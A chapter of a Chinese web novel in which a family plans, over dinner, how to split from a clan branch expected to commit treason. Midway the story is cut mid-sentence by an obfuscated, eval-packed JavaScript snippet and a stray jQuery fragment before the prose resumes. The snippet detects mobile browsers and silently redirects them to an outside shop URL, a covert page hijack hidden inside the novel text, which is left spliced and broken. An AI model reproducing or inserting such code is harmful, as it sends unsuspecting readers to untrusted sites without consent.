早在姜老爷子他们回府前,姜沅宁就跟祖母回了青松堂。此时平日里一家人聚集用食得圆桌上摆放好了八菜一汤,都是家里人喜欢爱吃的菜式。
肖氏吩咐道,“都下去用饭吧,”也不用下人伺候了,叫他们各自下去用饭,正好方便大家边吃边说。
姜家一直没有高门大户食不言那一套规矩,反倒觉着一家子边吃边说说话,聊聊家长里短内外新鲜事更热闹。
当然,他们也重礼仪,便是边吃边说也都不会粗鲁无状,反而优雅自在。
按理,刀悬在一家人脖子上,现在的氛围就算是吃饭也该是沉重的。可不知是不是一家人有难同当,人多了胆子大,分散了这沉重,还是适应能力强,姜沅宁觉着不光家人,连她都能有些平静地去面对这件事了。
姜老爷子先说了些上午去侍郎府的情况,“没什么发现,也许是现在太子还未出事,就是后来含柳桥的事出来,姜侍郎被叫走去宫里,我看姜复脸色有些难看。”
姜远晏夹了筷子菜放在面前碟子上,跟着道:“那些侍郎府的公子们,看着都挺倨傲的,尤其是大房嫡出的两个,就是感觉跟庶出的不和。”
主要是他没有能接触到这些人,不是一路人,原本也没说过什么话,只能凭着观察下些结论。
“嫡庶不和才正常,”肖氏觉着,“不管是男女,这不是同父同母出,又掺杂上后宅姨娘和主母争斗,多数嫡庶都有些矛盾,那种嫡庶处得好的,才是少见。”
“就是,要不说纳妾是乱家之源呢,”姜沅宁随意说了句现代时不知哪本小说里看来的总结之言,说完,看大家目光都望了过来,顿时心虚。
一时忘了,这好似不该是自己该懂得的。
心虚之下,忙眨了眨眼睛,反问回去,“怎么了?我说错了?”
当然没说错,只是没想到她会总结的这般……精辟!
云氏和肖氏面色复杂,在她们不知道的时候,孙女(女儿)接触到了谁家什么乱七八糟的后宅事?
自家肯定不可能,没这个“条件,”自然是从旁处别人家知晓的了。
“没说错,”作为不纳妾无其他女子的姜老爷子和姜父,自然是异口同声,“就是这样。”
看,他们做的多好,从根上就杜绝了这乱。
云氏婆媳带着压不住的笑容看了两人一眼,云氏道:“没问你们,是想知道阿宁怎么懂得这个?”道理。
姜沅宁听到祖母问,正纠结着该怎么圆话,就听到大哥在旁边吐槽,“你们都知道这理,那怎么还给软软相看有通房的什么陈二?通房以后就是妾,就算不抬给处理了,弄不好还得给弄成外室,这事我可听说过。”
显然,这是还记挂着家里要给妹妹说亲,说个有通房男人的事。
当大哥的都舍不得妹妹嫁人,姜远晏多少有些妹控属性的人也不例外,甚至已经暗戳戳寻思,回头就找人去查查这个陈二陈钰的。
要想当他的妹夫,必须得过得了他这一关,作为一个男人,自然最懂男人,他甚至都开始寻思怎么考验想当他妹夫的人了。
姜沅宁哪里知道大哥脑子里转悠着什么念头,她是真没想嫁人的事,就算肖氏提了陈钰,她知道这事最后不会成,为防阿娘与前世一样被这事气到,她打算一定提前掐灭阿娘的打算。
甚至有些不靠谱地想,既然孟冬要抢人,那索性赶紧早点下手去抢啊,省的吊着自家。
面对祖母和阿娘不解的目光,她总算是想到了一个说辞,“就是从姜执这个祖上娶了平妻里发现的啊,从侍郎府那边得到的结论。还有,我忘了跟你们说,那天生辰在侍郎府,我听到他府上婆子偷偷议论,说是几房之间不和,私下里争斗的厉害。”
她把侍郎府婆子说的关于大房二房主母暗中较劲的事说了,渐渐歪了之前的话题,又拉回正事上,“所以,我觉着,或许咱们可能利用他们侍郎府里面的矛盾,有用没用的,总归是一个思路吧。”
“说的不错,虽是后宅纷争,但未必不会影响到前院男子们之间关系,”姜老爷子从不小看妇人之争,尤其又是两房之间主母,她们多数也代表着双方夫君的意思。
见话题被拉走,姜沅宁心中一松,忙点头,“对,我就是这么想的。”
云氏和肖氏看她这小模样,心中好笑之余,又觉心酸。
孩子从小都是有什么都跟她们叽叽喳喳地说一通,什么时候竟这样小心翼翼,可见孩子是承受了太多不该她承受的东西。
肖氏心疼,打算回去跟夫君商量了下,看能不能稍稍透露些什么。
她见不得女儿这般诚惶。
“分宗可行,只是……”姜老爷子顿了下,“今日见到了你二族伯祖他们,若是侍郎府谋逆,他们……”
话未完,屋子里人却都听懂了老爷子未尽的意思。
姜沅宁仔细回想了下当初的情景,二族伯祖非但没有助纣为孽,还曾想叫家人来族伯他们来帮忙,只是事发突然,他们隔了一段距离,没等挤上前,他们当中也有人负伤。
“难道叫他们也跟咱们一样分宗?”姜远晏反应快速,“不可能的!二族伯祖跟咱家不一样,他们跟侍郎府关系更近,二族伯祖与族长可是兄弟。”
姜沅宁觉着大哥的话对,她本也不是工于心计之人,想出个分宗的法子,颇具快刀斩乱麻的直接。
肖氏更是护女心切,“就算二族伯愿意分宗,可怎么叫他们相信以后侍郎府会谋逆?怎么告诉他们咱们如何知晓以后发生的事?”
就算是亲近的族亲,肖氏也不能拿女儿冒险,若是他们将女儿看作妖怪要害她怎么办?
姜父自然也不会如此做,分得清孰近远,但也做不到眼睁睁看着二伯族一家被牵累,“二族伯与侍郎府天然不和多年,若是太子屡屡出事,或是太子被废初,咱们便悄悄提醒二族伯,或许可以叫他们警醒提防。”
“也只能如此了,”姜老爷子想,若想助二族兄一家脱险,倒是可以在太子露出颓势时便提醒他,提前跟侍郎府翻脸,落个眼见着太子势头不好就翻脸的薄情,倒更有利于日后彻底翻脸。
“眼下要紧的是,咱们家到底怎么分宗啊?”不是姜沅宁同理心少,保全自家,一日想不到分宗的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223002|145290||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
法子,她也顾不得旁人。
“这分宗可不好分,”姜父叹息一声,若好分宗,也不会有那么多被名声坏的族亲带累的人了。
这时候,只要是一人有些污点,一家子人名声都受损。
尤女子更重。
一女子名声损毁,其姐妹,堂亲族亲同辈的也跟着受损不说,往下的晚辈其侄女名声也会跟着变坏。
姜老爷子就是家里的顶梁柱定心针,更要稳住,“也别太心焦,越焦虑反倒不清明。咱们大家都想,有什么想法便所,大家一起商议着来,或许能找到些路子。”
姜沅宁重重点头,这正是她告知家人的初衷了。
只可惜,这几天她也想了许多,都没有头绪,不知该从何下手。
正可惜着,就听大哥忽地扬声,“我们去把族谱偷着改了,把咱们家的名给划了去,到时候圣上下旨株连,拿出族谱一看,没咱们家的名了,就说咱们家其实早就被侍郎府那边给除族了,不就行了。
要是上面问起缘由,就说侍郎府嫉妒咱家才是主支,故意瞒着族人把咱们给悄悄除族了,咱们一直被瞒着都不知道就被除族了,这样除族……”
“不行。”
姜远晏越说越觉着自己这主意绝佳,正侃侃而谈,连锅如何甩给侍郎府都想好了,就被姜父打断。
“为什么不行?”姜远晏不解地问。
姜老爷子缓缓摇了摇头,夹了个虾丸入口慢慢咀嚼,等儿子给孙子普及常识。
被普及的还有姜沅宁,虽然她没想到还有偷族谱改这一块去,当然也是有守法做好市民思维惯性,远没有姜远晏这样纨绔公子哥来的敢想。
大哥这提议,顿觉自己思维局限了。
听父亲否定,她也露出不解地目光,这办法不是挺好的?就是偷改族谱麻烦,得想法子潜入侍郎府祠堂。
见儿女都露出迷惑不解神色,姜父给两人解惑,“除族分宗,不仅是族中改动族谱这样简单,还需要到官府备案,分宗更要做好登记。”
就算不分宗,走阿远提议的被除族,可没有官府备案,依然不作数,到时恐还要得个故意欺瞒,想要脱罪的罪名。而自家才是姜执原配嫡脉,姜侍郎府是分支,更会落个意图混淆官府保全的罪。
他看了看一下明白过来的儿女两个,阿宁是女儿家不知正常,可阿远却对这样的简单常识都不清楚,实在是过于不学无术了些。
姜父眼中略带的失望,姜远晏没看到,正陷在颓丧中。
本以为自己想出个好办法救全家人性命,在正事上有了用处,却不成。
姜沅宁忙道:“大哥,别灰心,咱们接着想,你能想到这些已经很好了,你看我们都还没理出条理呢。”
大哥只是不爱读书,但脑子可不笨,还说得上聪慧,只是以前从来不往读书上面使,若他肯知上进,以后未必不能成器。
世上也不仅有读书做官一条路,只要肯用心,做什么都能有出彩时,哪一行不都能出个状元。便是不妄想状元探花顶尖,只要大哥不再懒散闲玩,避过这场祸事,日后总会有适合他的路。